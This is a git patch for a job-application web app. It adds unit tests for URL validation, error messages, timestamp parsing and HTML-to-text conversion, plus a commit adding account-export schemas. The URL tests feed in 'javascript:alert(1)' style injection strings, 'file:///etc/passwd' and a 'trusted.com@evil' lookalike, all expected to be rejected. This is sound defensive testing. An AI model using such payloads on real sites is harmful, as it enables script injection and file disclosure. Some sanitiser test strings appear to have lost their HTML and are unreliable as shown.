Robotics'); + }); + + it('falls back instead of printing "Invalid Date" for an unreadable timestamp', () => { + const display = toApplicationDisplay(application({ created_at: 'not a date' }), DISPLAY); + expect(display.createdLabel).toBe('recently'); + }); +}); + +describe('status filters', () => { + const items = [ + application({ application_id: 'a', status: 'interviewing' }), + application({ application_id: 'b', status: 'draft' }), + application({ application_id: 'c', status: 'submitted' }), + application({ application_id: 'd', status: 'draft' }), + application({ application_id: 'e', status: 'rejected' }), + ]; + + it('offers All plus only the statuses present, in lifecycle order, with counts', () => { + expect(buildStatusFilters(items)).toEqual([ + { value: 'all', label: 'All', count: 5 }, + { value: 'draft', label: 'Draft', count: 2 }, + { value: 'submitted', label: 'Submitted', count: 1 }, + { value: 'interviewing', label: 'Interviewing', count: 1 }, + { value: 'rejected', label: 'Rejected', count: 1 }, + ]); + }); + + it('is just "All (0)" for an empty list', () => { + expect(buildStatusFilters([])).toEqual([{ value: 'all', label: 'All', count: 0 }]); + }); + + it('places a status the client does not know about last instead of dropping it', () => { + const odd = application({ status: 'on_hold' as ApplicationItem['status'] }); + const filters = buildStatusFilters([application(), odd]); + expect(filters.map((filter) => filter.value)).toEqual(['all', 'draft', 'on_hold']); + expect(filters[2]?.label).toBe('On hold'); + }); + + it('filters by status and returns everything for "all"', () => { + expect(filterByStatus(items, 'draft').map((item) => item.application_id)).toEqual(['b', 'd']); + expect(filterByStatus(items, 'all')).toHaveLength(5); + expect(filterByStatus(items, 'offer')).toEqual([]); + }); + + it('does not mutate its input', () => { + const copy = [...items]; + filterByStatus(items, 'all').reverse(); + expect(items).toEqual(copy); + }); +}); + +describe('findApplicationForJob', () => { + it('finds the application for a job', () => { + const mine = application({ application_id: 'mine' }); + const other = application({ application_id: 'other', job_id: '99999999-9999-4999-8999-999999999999' }); + expect(findApplicationForJob([other, mine], JOB_ID)?.application_id).toBe('mine'); + }); + + it('is null when there is none', () => { + expect(findApplicationForJob([], JOB_ID)).toBeNull(); + }); +}); + +describe('deriveApplyStage', () => { + it('is "none" before an application exists', () => { + expect(deriveApplyStage(null)).toBe('none'); + }); + + it('is "draft" while the application is still a draft', () => { + expect(deriveApplyStage(application({ status: 'draft' }))).toBe('draft'); + }); + + it.each(['submitted', 'acknowledged', 'interviewing', 'offer', 'rejected', 'withdrawn', 'queued', 'failed'] as const)( + 'is "tracked" once the status is %s, so the draft actions go away', + (status) => { + expect(deriveApplyStage(application({ status }))).toBe('tracked'); + }, + ); +}); + +describe('resolveApplyUrl', () => { + it("prefers the application's own job summary", () => { + expect(resolveApplyUrl(application(), 'https://other.example/apply')).toBe('https://boards.greenhouse.io/acme/jobs/1'); + }); + + it('falls back to the job record before an application exists', () => { + expect(resolveApplyUrl(null, 'https://jobs.example.com/apply')).toBe('https://jobs.example.com/apply'); + }); + + it('falls back when the summary has a null or absent job', () => { + expect(resolveApplyUrl(application({ job: null }), 'https://jobs.example.com/apply')).toBe('https://jobs.example.com/apply'); + }); + + it('never returns an unsafe URL, even from the service summary', () => { + const unsafe = application({ job: { ...JOB, apply_url: 'javascript:alert(1)' } }); + expect(resolveApplyUrl(unsafe, 'data:text/html,hi')).toBeNull(); + expect(resolveApplyUrl(unsafe, 'https://jobs.example.com/apply')).toBe('https://jobs.example.com/apply'); + }); + + it('is null when there is no apply link anywhere', () => { + expect(resolveApplyUrl(null, null)).toBeNull(); + expect(resolveApplyUrl(application({ job: { ...JOB, apply_url: null } }), undefined)).toBeNull(); + }); +}); + +// Compile-time check that the owner view the service returns is assignable to what the UI consumes. +const _shape: ApplicationResponse = { application: application() }; +void _shape; diff --git a/apps/web/test/external-url.test.ts b/apps/web/test/external-url.test.ts new file mode 100644 index 0000000..5884f7f --- /dev/null +++ b/apps/web/test/external-url.test.ts @@ -0,0 +1,85 @@ +import { describe, expect, it } from 'vitest'; +import { externalUrlHost, safeExternalUrl } from '../src/components/applications/external-url'; + +describe('safeExternalUrl', () => { + it.each([ + ['https://boards.greenhouse.io/acme/jobs/123', 'https://boards.greenhouse.io/acme/jobs/123'], + ['http://jobs.example.com/apply', 'http://jobs.example.com/apply'], + ['https://jobs.lever.co/acme/abc?lever-source=atlas#apply', 'https://jobs.lever.co/acme/abc?lever-source=atlas#apply'], + [' https://example.com/apply ', 'https://example.com/apply'], + // Returned in the browser's normalised form, so what we checked is what gets opened. + ['HTTPS://Example.COM/Apply', 'https://example.com/Apply'], + ['https://example.com', 'https://example.com/'], + ['https://example.com:8443/apply', 'https://example.com:8443/apply'], + ])('accepts %j', (input, expected) => { + expect(safeExternalUrl(input)).toBe(expected); + }); + + it.each([ + ['javascript:alert(1)'], + ['JAVASCRIPT:alert(1)'], + [' javascript:alert(1)'], + ['java\tscript:alert(1)'], + ['java\nscript:alert(1)'], + ['data:text/html,'], + ['vbscript:msgbox(1)'], + ['file:///etc/passwd'], + ['blob:https://example.com/uuid'], + ['ftp://example.com/resume'], + ['mailto:jobs@example.com'], + ['tel:+15555550100'], + ['about:blank'], + ])('rejects the non-http(s) URL %j', (input) => { + expect(safeExternalUrl(input)).toBeNull(); + }); + + it.each([ + [''], + [' '], + ['example.com/apply'], + ['/relative/path'], + ['//example.com/apply'], + ['https://'], + ['not a url'], + ['https://exa mple.com'], + ['https://example.com/a b'], + ['https://example.com/\u0000'], + ['https://example.com/\u0085'], + ])('rejects malformed or relative input %j', (input) => { + expect(safeExternalUrl(input)).toBeNull(); + }); + + it('rejects embedded credentials, the "trusted.com@evil.com" lookalike trick', () => { + expect(safeExternalUrl('https://trusted.example.com@evil.example.net/apply')).toBeNull(); + expect(safeExternalUrl('https://user:pass@example.com/apply')).toBeNull(); + expect(safeExternalUrl('https://user@example.com/apply')).toBeNull(); + }); + + it('rejects absurdly long URLs', () => { + expect(safeExternalUrl(`https://example.com/${'a'.repeat(3000)}`)).toBeNull(); + }); + + it.each([[null], [undefined], [42], [{}], [['https://example.com']], [true]])('rejects the non-string %j', (input) => { + expect(safeExternalUrl(input)).toBeNull(); + }); + + it('only ever returns an http(s) URL', () => { + const inputs = ['https://a.example', 'javascript:1', 'data:,x', 'http://b.example/p', '//c.example', 'file:///x']; + for (const input of inputs) { + const result = safeExternalUrl(input); + if (result !== null) expect(new URL(result).protocol).toMatch(/^https?:$/); + } + }); +}); + +describe('externalUrlHost', () => { + it('returns the host without a leading www.', () => { + expect(externalUrlHost('https://www.example.com/jobs/1')).toBe('example.com'); + expect(externalUrlHost('https://boards.greenhouse.io/acme')).toBe('boards.greenhouse.io'); + }); + + it('is null for anything safeExternalUrl refuses', () => { + expect(externalUrlHost('javascript:alert(1)')).toBeNull(); + expect(externalUrlHost(null)).toBeNull(); + }); +}); diff --git a/apps/web/test/failure-message.test.ts b/apps/web/test/failure-message.test.ts new file mode 100644 index 0000000..be038b0 --- /dev/null +++ b/apps/web/test/failure-message.test.ts @@ -0,0 +1,90 @@ +import { describe, expect, it } from 'vitest'; +import { failureInfo, failureMessage } from '../src/components/applications/failure-message'; + +/** Shaped like lib/api.ts's ApiError without importing it. */ +function apiError(status: number, code: string, message = 'server detail that must not be shown') { + return Object.assign(new Error(message), { status, code }); +} + +describe('failureInfo', () => { + it('reads status and code from an ApiError-shaped value', () => { + expect(failureInfo(apiError(409, 'CONFLICT'))).toEqual({ status: 409, code: 'CONFLICT' }); + }); + + it('has neither for network errors and non-errors', () => { + expect(failureInfo(new TypeError('Failed to fetch'))).toEqual({ status: null, code: null }); + expect(failureInfo(new SyntaxError('Unexpected token <'))).toEqual({ status: null, code: null }); + expect(failureInfo(null)).toEqual({ status: null, code: null }); + expect(failureInfo('boom')).toEqual({ status: null, code: null }); + }); +}); + +describe('failureMessage', () => { + it('never leaks the raw server message', () => { + for (const scope of ['start-application', 'record-open', 'mark-submitted', 'resume-check'] as const) { + expect(failureMessage(scope, apiError(400, 'VALIDATION_ERROR'))).not.toContain('server detail'); + expect(failureMessage(scope, apiError(500, 'INTERNAL_ERROR'))).not.toContain('server detail'); + } + }); + + describe('resume check', () => { + it('explains an unparsed resume (409) and suggests what to do', () => { + const message = failureMessage('resume-check', apiError(409, 'CONFLICT')); + expect(message).toMatch(/finished processing/i); + expect(message).toMatch(/another resume/i); + }); + + it('explains a missing resume and a missing job', () => { + expect(failureMessage('resume-check', apiError(404, 'RESUME_NOT_FOUND'))).toMatch(/resume/i); + expect(failureMessage('resume-check', apiError(404, 'JOB_NOT_FOUND'))).toMatch(/job is no longer available/i); + }); + }); + + describe('start application', () => { + it('explains an unavailable job and a resume that is not ready', () => { + expect(failureMessage('start-application', apiError(404, 'JOB_NOT_FOUND'))).toMatch(/no longer available/i); + expect(failureMessage('start-application', apiError(404, 'RESUME_NOT_FOUND'))).toMatch(/resume/i); + }); + + it('explains the one-application-per-job rule', () => { + expect(failureMessage('start-application', apiError(409, 'CONFLICT'))).toMatch(/already have an application/i); + }); + + it('does not echo the "auto mode unavailable" server text if a 400 ever occurs', () => { + const message = failureMessage('start-application', apiError(400, 'VALIDATION_ERROR', 'Mode "auto" cannot be used')); + expect(message).not.toMatch(/auto/i); + }); + }); + + describe('mark submitted', () => { + it('explains an illegal transition (400) and a vanished application (404)', () => { + expect(failureMessage('mark-submitted', apiError(400, 'VALIDATION_ERROR'))).toMatch(/current status/i); + expect(failureMessage('mark-submitted', apiError(404, 'NOT_FOUND'))).toMatch(/couldn't find/i); + }); + }); + + describe('record open', () => { + it('reassures that the application is unchanged', () => { + expect(failureMessage('record-open', apiError(500, 'INTERNAL_ERROR'))).toMatch(/unchanged/i); + expect(failureMessage('record-open', new TypeError('Failed to fetch'))).toMatch(/unchanged/i); + }); + }); + + describe('shared cases', () => { + it('asks for a new sign-in on 401', () => { + expect(failureMessage('resume-check', apiError(401, 'UNAUTHENTICATED'))).toMatch(/sign in again/i); + }); + + it('tells the user to wait on a rate limit', () => { + expect(failureMessage('start-application', apiError(429, 'RATE_LIMITED'))).toMatch(/wait/i); + }); + + it('blames the connection when no response arrived', () => { + expect(failureMessage('start-application', new TypeError('Failed to fetch'))).toMatch(/check your connection/i); + }); + + it('blames the server on a 5xx', () => { + expect(failureMessage('mark-submitted', apiError(503, 'UPSTREAM_UNAVAILABLE'))).toMatch(/our side/i); + }); + }); +}); diff --git a/apps/web/test/job-view-model.test.ts b/apps/web/test/job-view-model.test.ts new file mode 100644 index 0000000..96513c6 --- /dev/null +++ b/apps/web/test/job-view-model.test.ts @@ -0,0 +1,123 @@ +import { describe, expect, it } from 'vitest'; +import { + descriptionToParagraphs, + employmentTypeLabel, + formatSalary, + matchPercent, + paragraphsLength, + remoteTypeLabel, +} from '../src/components/jobs/job-view-model'; + +describe('matchPercent', () => { + it('turns a 0-1 score into a whole percent', () => { + expect(matchPercent(0.724)).toBe(72); + expect(matchPercent(0.725)).toBe(73); + expect(matchPercent(0)).toBe(0); + expect(matchPercent(1)).toBe(100); + }); + + it('clamps out-of-range scores', () => { + expect(matchPercent(1.4)).toBe(100); + expect(matchPercent(-0.2)).toBe(0); + }); + + it.each([[null], [undefined], ['0.5'], [Number.NaN], [Number.POSITIVE_INFINITY]])('is null for %j', (value) => { + expect(matchPercent(value)).toBeNull(); + }); +}); + +describe('labels', () => { + it('labels known remote and employment types', () => { + expect(remoteTypeLabel('remote')).toBe('Remote'); + expect(remoteTypeLabel('onsite')).toBe('On-site'); + expect(employmentTypeLabel('full_time')).toBe('Full-time'); + expect(employmentTypeLabel('internship')).toBe('Internship'); + }); + + it('says "not stated" rather than a bare "unknown"', () => { + expect(remoteTypeLabel('unknown')).toMatch(/not stated/i); + expect(employmentTypeLabel('unknown')).toMatch(/not stated/i); + }); + + it('still renders a value added on the backend later', () => { + expect(remoteTypeLabel('flexible_hours')).toBe('flexible hours'); + }); +}); + +describe('formatSalary', () => { + const base = { salary_min: null, salary_max: null, salary_currency: null }; + + it('is null when the posting states no salary', () => { + expect(formatSalary(base)).toBeNull(); + expect(formatSalary({ ...base, salary_currency: 'USD' })).toBeNull(); + }); + + it('formats a range, a floor, a ceiling and a single figure', () => { + expect(formatSalary({ salary_min: 120000, salary_max: 150000, salary_currency: 'USD' })).toBe('$120,000 – $150,000'); + expect(formatSalary({ salary_min: 90000, salary_max: null, salary_currency: 'USD' })).toBe('From $90,000'); + expect(formatSalary({ salary_min: null, salary_max: 90000, salary_currency: 'USD' })).toBe('Up to $90,000'); + expect(formatSalary({ salary_min: 80000, salary_max: 80000, salary_currency: 'USD' })).toBe('$80,000'); + }); + + it('shows plain digits when no currency is given', () => { + expect(formatSalary({ salary_min: 50000, salary_max: 60000, salary_currency: null })).toBe('50,000 – 60,000'); + }); + + it('does not throw on a currency code the runtime does not know', () => { + expect(formatSalary({ salary_min: 50000, salary_max: null, salary_currency: 'ZZZ1' })).toBe('From ZZZ1 50,000'); + }); +}); + +describe('descriptionToParagraphs', () => { + it('is empty for missing or blank descriptions', () => { + expect(descriptionToParagraphs(null)).toEqual([]); + expect(descriptionToParagraphs(undefined)).toEqual([]); + expect(descriptionToParagraphs(' \n\n ')).toEqual([]); + }); + + it('splits plain text on blank lines and keeps single line breaks', () => { + expect(descriptionToParagraphs('First paragraph.\n\nSecond line one\nsecond line two\r\n\r\nThird.')).toEqual([ + 'First paragraph.', + 'Second line one\nsecond line two', + 'Third.', + ]); + }); + + it('strips HTML tags but keeps the text and the structure', () => { + const html = '

About

We build robots.

  • TypeScript
  • Postgres
'; + expect(descriptionToParagraphs(html)).toEqual(['About', 'We build robots.', '• TypeScript\n• Postgres']); + }); + + it('reads entity-escaped HTML, as some feeds deliver it', () => { + expect(descriptionToParagraphs('<p>Join us &amp; build things</p><p>Second</p>')).toEqual([ + 'Join us & build things', + 'Second', + ]); + }); + + it('decodes common entities in otherwise plain text', () => { + expect(descriptionToParagraphs('R&D — Q's & A team')).toEqual(["R&D — Q's & A team"]); + }); + + it('leaves unknown or invalid entities as written', () => { + expect(descriptionToParagraphs('a &bogus; b � c')).toEqual(['a &bogus; b � c']); + }); + + it('drops script and style blocks entirely', () => { + expect(descriptionToParagraphs('Hello world')).toEqual(['Hello world']); + }); + + it('only ever produces text: no tag survives', () => { + const hostile = 'click'; + const result = descriptionToParagraphs(hostile).join('\n'); + expect(result).not.toMatch(/<|>/); + expect(result).toBe('click'); + }); +}); + +describe('paragraphsLength', () => { + it('sums the characters', () => { + expect(paragraphsLength(['abc', 'de'])).toBe(5); + expect(paragraphsLength([])).toBe(0); + }); +}); diff --git a/apps/web/test/report-view-model.test.ts b/apps/web/test/report-view-model.test.ts new file mode 100644 index 0000000..7c64278 --- /dev/null +++ b/apps/web/test/report-view-model.test.ts @@ -0,0 +1,222 @@ +import type { Resume, ResumeOptimizationReport } from '@atlas/types'; +import { describe, expect, it } from 'vitest'; +import { + defaultResumeId, + FALLBACK_TRUTHFULNESS_NOTE, + keywordBand, + pickParsedResumes, + resumeAvailability, + resumeOptionLabel, + toReportViewModel, +} from '../src/components/resume-check/report-view-model'; + +function resume(overrides: Partial & Pick): Resume { + return { + user_id: '55555555-5555-4555-8555-555555555555', + storage_url: 'resumes/x', + original_filename: `${overrides.resume_id}.pdf`, + content_type: 'application/pdf', + byte_size: 1000, + status: 'parsed', + parsed_text: 'text', + parsed_profile: null, + ats_score: 80, + embedding_id: null, + failure_reason: null, + created_at: '2026-10-01 10:00:00+00', + updated_at: '2026-10-01 10:00:00+00', + ...overrides, + }; +} + +describe('pickParsedResumes / defaultResumeId', () => { + const older = resume({ resume_id: 'older', created_at: '2026-09-01 08:00:00.123456+00' }); + const newest = resume({ resume_id: 'newest', created_at: '2026-10-20 08:00:00+00' }); + const middle = resume({ resume_id: 'middle', created_at: '2026-10-05 08:00:00+00' }); + const failed = resume({ resume_id: 'failed', status: 'failed', created_at: '2026-10-25 08:00:00+00' }); + const processing = resume({ resume_id: 'processing', status: 'processing', created_at: '2026-10-26 08:00:00+00' }); + + it('keeps only parsed resumes, newest first, regardless of the order the API returned', () => { + const ids = pickParsedResumes([older, failed, newest, processing, middle]).map((r) => r.resume_id); + expect(ids).toEqual(['newest', 'middle', 'older']); + }); + + it('defaults to the most recent parsed resume, ignoring a newer one that failed or is still processing', () => { + expect(defaultResumeId([failed, processing, older, newest])).toBe('newest'); + }); + + it('has no default when nothing is parsed', () => { + expect(defaultResumeId([failed, processing])).toBeNull(); + expect(defaultResumeId([])).toBeNull(); + }); + + it('keeps API order for resumes whose dates cannot be read, after the dated ones', () => { + const a = resume({ resume_id: 'a', created_at: 'garbage' }); + const b = resume({ resume_id: 'b', created_at: 'garbage' }); + const dated = resume({ resume_id: 'dated', created_at: '2026-01-01 00:00:00+00' }); + expect(pickParsedResumes([a, b, dated]).map((r) => r.resume_id)).toEqual(['dated', 'a', 'b']); + }); + + it('does not mutate the list it was given', () => { + const input = [older, newest]; + pickParsedResumes(input); + expect(input.map((r) => r.resume_id)).toEqual(['older', 'newest']); + }); +}); + +describe('resumeAvailability', () => { + it('tells the empty, still-processing, failed and ready cases apart', () => { + expect(resumeAvailability([])).toBe('none'); + expect(resumeAvailability([resume({ resume_id: 'p', status: 'pending' })])).toBe('processing'); + expect(resumeAvailability([resume({ resume_id: 'p', status: 'processing' })])).toBe('processing'); + expect(resumeAvailability([resume({ resume_id: 'f', status: 'failed' })])).toBe('failed'); + expect(resumeAvailability([resume({ resume_id: 'f', status: 'failed' }), resume({ resume_id: 'ok' })])).toBe('ready'); + }); +}); + +describe('resumeOptionLabel', () => { + it('names the file and when it was uploaded', () => { + const label = resumeOptionLabel(resume({ resume_id: 'x', original_filename: 'cv.pdf', created_at: '2026-10-27 12:59:21.123+00' }), { + locale: 'en-US', + timeZone: 'UTC', + }); + expect(label).toBe('cv.pdf (uploaded Oct 27, 2026)'); + }); + + it('is just the filename when the date is unreadable', () => { + expect(resumeOptionLabel(resume({ resume_id: 'x', original_filename: 'cv.pdf', created_at: 'nope' }))).toBe('cv.pdf'); + }); +}); + +describe('keywordBand', () => { + it.each([ + [null, 'none'], + [0, 'weak'], + [39, 'weak'], + [40, 'partial'], + [69, 'partial'], + [70, 'strong'], + [100, 'strong'], + ] as const)('%j -> %s', (score, band) => { + expect(keywordBand(score)).toBe(band); + }); +}); + +function report(overrides: Partial = {}): ResumeOptimizationReport { + return { + keyword_match: { score: 67, matched: ['typescript', 'postgresql'], missing: ['kubernetes'] }, + bullet_findings: [ + { + company: 'Acme', + title: 'Engineer', + bullet_index: 2, + bullet: 'Responsible for the billing service', + issues: ['weak_opening', 'no_metric'], + suggestions: ['Open with a strong action verb.', 'Add a measurable result if you can back it up.'], + }, + ], + ats: { + score: 84.6, + checks: [ + { id: 'a', label: 'Contact details', passed: true, weight: 0.3, hint: 'Add an email.' }, + { id: 'b', label: 'Summary section', passed: false, weight: 0.1, hint: 'Add a short summary.' }, + { id: 'c', label: 'Skills section', passed: false, weight: 0.4, hint: 'List your skills.' }, + ], + }, + recommendations: ['Mention kubernetes only if you have used it.'], + truthfulness_note: 'Advisory only. Atlas never edits your resume.', + ...overrides, + }; +} + +describe('toReportViewModel', () => { + it('maps the score, band and keyword lists', () => { + const view = toReportViewModel(report()); + expect(view.keywordScore).toBe(67); + expect(view.band).toBe('partial'); + expect(view.bandLabel).toBe('Partial overlap'); + expect(view.matched).toEqual(['typescript', 'postgresql']); + expect(view.missing).toEqual(['kubernetes']); + expect(view.keywordSummary).toBe('2 of the 3 keywords we found in this posting appear in your resume.'); + }); + + it('describes a posting with no keywords instead of showing a fake 0%', () => { + const view = toReportViewModel(report({ keyword_match: { score: null, matched: [], missing: [] } })); + expect(view.keywordScore).toBeNull(); + expect(view.band).toBe('none'); + expect(view.keywordSummary).toMatch(/nothing to compare/i); + expect(view.announcement).toMatch(/no keywords/i); + }); + + it('uses the singular for one keyword', () => { + const view = toReportViewModel(report({ keyword_match: { score: 100, matched: ['sql'], missing: [] } })); + expect(view.keywordSummary).toBe('1 of the 1 keyword we found in this posting appears in your resume.'); + }); + + it('labels bullet issues in plain language and says where each bullet lives', () => { + const [finding] = toReportViewModel(report()).bulletFindings; + expect(finding).toEqual({ + key: 'Acme|Engineer|2', + where: 'Engineer, Acme', + bullet: 'Responsible for the billing service', + issues: ['Weak opening', 'No measurable result'], + suggestions: ['Open with a strong action verb.', 'Add a measurable result if you can back it up.'], + }); + }); + + it('lists only failed ATS checks, heaviest first, with a rounded score', () => { + const view = toReportViewModel(report()); + expect(view.atsScore).toBe(85); + expect(view.atsIssues).toEqual([ + { label: 'Skills section', hint: 'List your skills.' }, + { label: 'Summary section', hint: 'Add a short summary.' }, + ]); + }); + + it('passes recommendations and the truthfulness note through unchanged', () => { + const view = toReportViewModel(report()); + expect(view.recommendations).toEqual(['Mention kubernetes only if you have used it.']); + expect(view.truthfulnessNote).toBe('Advisory only. Atlas never edits your resume.'); + }); + + it('always shows a truthfulness note, even if the response omits it', () => { + expect(toReportViewModel(report({ truthfulness_note: '' })).truthfulnessNote).toBe(FALLBACK_TRUTHFULNESS_NOTE); + expect(toReportViewModel(report({ truthfulness_note: ' ' })).truthfulnessNote).toBe(FALLBACK_TRUTHFULNESS_NOTE); + expect(FALLBACK_TRUTHFULNESS_NOTE).toMatch(/advisory/i); + expect(FALLBACK_TRUTHFULNESS_NOTE).toMatch(/never adds/i); + }); + + it('de-duplicates keywords case-insensitively and drops blanks', () => { + const view = toReportViewModel( + report({ keyword_match: { score: 50, matched: ['SQL', 'sql', ' ', 'Go'], missing: ['Rust', 'rust'] } }), + ); + expect(view.matched).toEqual(['SQL', 'Go']); + expect(view.missing).toEqual(['Rust']); + }); + + it('survives a response with empty lists', () => { + const view = toReportViewModel( + report({ bullet_findings: [], recommendations: [], ats: { score: 100, checks: [] } }), + ); + expect(view.bulletFindings).toEqual([]); + expect(view.recommendations).toEqual([]); + expect(view.atsIssues).toEqual([]); + }); + + it('survives a response with missing lists instead of crashing the page', () => { + const sparse = { keyword_match: { score: 10 }, truthfulness_note: 'x' } as unknown as ResumeOptimizationReport; + const view = toReportViewModel(sparse); + expect(view.matched).toEqual([]); + expect(view.missing).toEqual([]); + expect(view.bulletFindings).toEqual([]); + expect(view.recommendations).toEqual([]); + expect(view.atsScore).toBeNull(); + }); + + it('is advisory by construction: no view field carries rewritten resume text', () => { + // The only bullet text in the view is the user's own original bullet, verbatim. + const input = report(); + const view = toReportViewModel(input); + expect(view.bulletFindings.map((f) => f.bullet)).toEqual(input.bullet_findings.map((f) => f.bullet)); + }); +}); diff --git a/apps/web/test/timestamp.test.ts b/apps/web/test/timestamp.test.ts new file mode 100644 index 0000000..e33851d --- /dev/null +++ b/apps/web/test/timestamp.test.ts @@ -0,0 +1,86 @@ +import { describe, expect, it } from 'vitest'; +import { formatServiceDate, parseServiceTimestamp } from '../src/components/applications/timestamp'; + +describe('parseServiceTimestamp', () => { + it('reads the Postgres-style string the applications service returns', () => { + const date = parseServiceTimestamp('2026-10-27 12:59:21.123+00'); + expect(date?.toISOString()).toBe('2026-10-27T12:59:21.123Z'); + }); + + it.each([ + ['2026-10-27T12:59:21.123Z', '2026-10-27T12:59:21.123Z'], + ['2026-10-27T12:59:21Z', '2026-10-27T12:59:21.000Z'], + ['2026-10-27T12:59:21.123+00:00', '2026-10-27T12:59:21.123Z'], + ['2026-10-27 12:59:21+00', '2026-10-27T12:59:21.000Z'], + ['2026-10-27 12:59:21.5+00', '2026-10-27T12:59:21.500Z'], + // Postgres emits microseconds; a Date holds milliseconds, so extra digits are truncated. + ['2026-10-27 12:59:21.123456+00', '2026-10-27T12:59:21.123Z'], + ['2026-10-27 12:59:21.999999+00', '2026-10-27T12:59:21.999Z'], + // Offsets other than UTC are honoured. + ['2026-10-27 12:59:21+02', '2026-10-27T10:59:21.000Z'], + ['2026-10-27 12:59:21+0530', '2026-10-27T07:29:21.000Z'], + ['2026-10-27 12:59:21-05:00', '2026-10-27T17:59:21.000Z'], + // No offset at all means UTC (the backend only emits UTC). + ['2026-10-27 12:59:21', '2026-10-27T12:59:21.000Z'], + ['2026-10-27T12:59', '2026-10-27T12:59:00.000Z'], + ['2026-10-27', '2026-10-27T00:00:00.000Z'], + [' 2026-10-27 12:59:21.123+00 ', '2026-10-27T12:59:21.123Z'], + ['2026-10-27 12:59:21.123z', '2026-10-27T12:59:21.123Z'], + ])('parses %j', (input, iso) => { + expect(parseServiceTimestamp(input)?.toISOString()).toBe(iso); + }); + + it('accepts a leap day only in a leap year', () => { + expect(parseServiceTimestamp('2028-02-29 00:00:00+00')?.toISOString()).toBe('2028-02-29T00:00:00.000Z'); + expect(parseServiceTimestamp('2026-02-29 00:00:00+00')).toBeNull(); + }); + + it.each([ + ['2026-02-31 10:00:00+00'], // Date would silently roll this over to March + ['2026-04-31T10:00:00Z'], + ['2026-13-01 10:00:00+00'], + ['2026-00-10 10:00:00+00'], + ['2026-10-00 10:00:00+00'], + ['2026-10-27 24:00:00+00'], + ['2026-10-27 12:60:00+00'], + ['2026-10-27 12:59:60+00'], + ['yesterday'], + ['27/10/2026'], + ['2026-10-27 12:59:21 PM'], + ['2026-10-27T12:59:21.123+0'], + ['1793105961123'], + [''], + [' '], + ])('returns null for %j rather than an Invalid Date', (input) => { + expect(parseServiceTimestamp(input)).toBeNull(); + }); + + it.each([[null], [undefined], [1793105961123], [{}], [new Date()]])('returns null for the non-string %j', (input) => { + expect(parseServiceTimestamp(input)).toBeNull(); + }); + + it('never throws or yields an Invalid Date on arbitrary text', () => { + for (const input of ['', 'x', '2026', '2026-', '2026-10-27T', '2026-10-27 12:', '\u0000', '9999-99-99 99:99:99+99']) { + const parsed = parseServiceTimestamp(input); + expect(parsed === null || !Number.isNaN(parsed.getTime())).toBe(true); + } + }); +}); + +describe('formatServiceDate', () => { + const options = { locale: 'en-US', timeZone: 'UTC' }; + + it('formats the Postgres-style string as a short date', () => { + expect(formatServiceDate('2026-10-27 12:59:21.123+00', options)).toBe('Oct 27, 2026'); + }); + + it('uses the viewer-pinned time zone', () => { + expect(formatServiceDate('2026-10-27 23:30:00+00', { ...options, timeZone: 'Asia/Tokyo' })).toBe('Oct 28, 2026'); + }); + + it('falls back instead of printing "Invalid Date"', () => { + expect(formatServiceDate('garbage', options)).toBe('Unknown date'); + expect(formatServiceDate(null, options)).toBe('Unknown date'); + expect(formatServiceDate(undefined, { ...options, fallback: 'recently' })).toBe('recently'); + }); +}); From 338e220cf01ea0bc15e11b0da7ed557f81e8a99f Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 27 Oct 2026 13:32:56 +0000 Subject: [PATCH 55/91] feat(types): account export and deletion contracts Adds packages/types/src/privacy.ts: the zod schemas for the account data export document and the DELETE /v1/auth/me request/response. Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01BdqVHQRXj76uudaef6gTD1 --- packages/types/src/index.ts | 1 + packages/types/src/privacy.ts | 275 ++++++++++++++++++++++++++++++++++ 2 files changed, 276 insertions(+) create mode 100644 packages/types/src/privacy.ts diff --git a/packages/types/src/index.ts b/packages/types/src/index.ts index d69105d..8ba0034 100644 --- a/packages/types/src/index.ts +++ b/packages/types/src/index.ts @@ -7,3 +7,4 @@ export * from './application.js'; export * from './events.js'; export * from './api.js'; export * from './admin.js'; +export * from './privacy.js'; diff --git a/packages/types/src/privacy.ts b/packages/types/src/privacy.ts new file mode 100644 index 0000000..bdd687b --- /dev/null +++ b/packages/types/src/privacy.ts @@ -0,0 +1,275 @@ +import { z } from 'zod'; +import { isoTimestampSchema, uuidSchema } from './common.js'; +import { + applicationModeSchema, + applicationStatusSchema, + authProviderSchema, + memberRoleSchema, + messageChannelSchema, + messageStatusSchema, + organizationPlanSchema, + organizationTypeSchema, + resumeStatusSchema, +} from './enums.js'; +import { permissionsSchema } from './identity.js'; +import { parsedProfileSchema } from './profile.js'; + +/** + * Contracts for the account-privacy endpoints served by auth-service + * (docs/09 § Data export and deletion): + * + * GET /v1/auth/me/export everything Atlas holds about the caller, as one JSON download + * DELETE /v1/auth/me hard-delete the caller's data and sign-in account + * + * Both act only on the authenticated caller; neither takes a user id. + */ + +// --- export ------------------------------------------------------------------- + +/** Bump when a field is removed or changes meaning (adding a field does not need it). */ +export const ACCOUNT_EXPORT_VERSION = 1 as const; + +/** + * What is deliberately NOT in the export, so the file says so itself instead of + * leaving a reader to wonder. Kept next to the schema so the list and the + * behaviour are reviewed together. + */ +export const ACCOUNT_EXPORT_NOTES = [ + 'Password hashes, multi-factor secrets, access tokens and connector credentials are never exported.', + 'Original uploaded resume files and machine-generated embedding vectors are not included; resume text and the parsed profile are.', + 'Data about other people is not included. Outreach messages reference contacts by id only.', + 'Referral suggestions are computed from your applications when you view them and are not stored. Outreach you created is under messages; referral events are under activity_events.', + 'Internal operational records (request de-duplication keys, event queue entries, audit entries) are not included.', + 'Sign-in records held by Supabase Auth (identities, sessions) are managed by that service and are not part of this file.', +] as const; + +/** The list sections that can be cut short to keep the download small. */ +export const EXPORT_TRUNCATABLE_SECTIONS = [ + 'organization_memberships', + 'student_records', + 'resumes', + 'applications', + 'application_events', + 'messages', + 'job_scores', + 'activity_events', + 'connected_accounts', +] as const; + +export const exportTruncatableSectionSchema = z.enum(EXPORT_TRUNCATABLE_SECTIONS); +export type ExportTruncatableSection = z.infer; + +/** Why a section holds fewer rows than exist. `truncated` is empty when the export is complete. */ +export const exportTruncationSchema = z.object({ + section: exportTruncatableSectionSchema, + /** How many rows the file contains for this section. */ + returned: z.number().int().min(0), + reason: z.enum(['row_limit', 'size_limit']), +}); + +export type ExportTruncation = z.infer; + +/** The account row, minus every credential-bearing column. */ +export const exportUserSchema = z.object({ + user_id: uuidSchema, + email: z.string(), + full_name: z.string(), + auth_provider: authProviderSchema, + email_verified: z.boolean(), + mfa_enabled: z.boolean(), + /** The resume currently treated as the canonical profile. */ + primary_resume_id: uuidSchema.nullable(), + 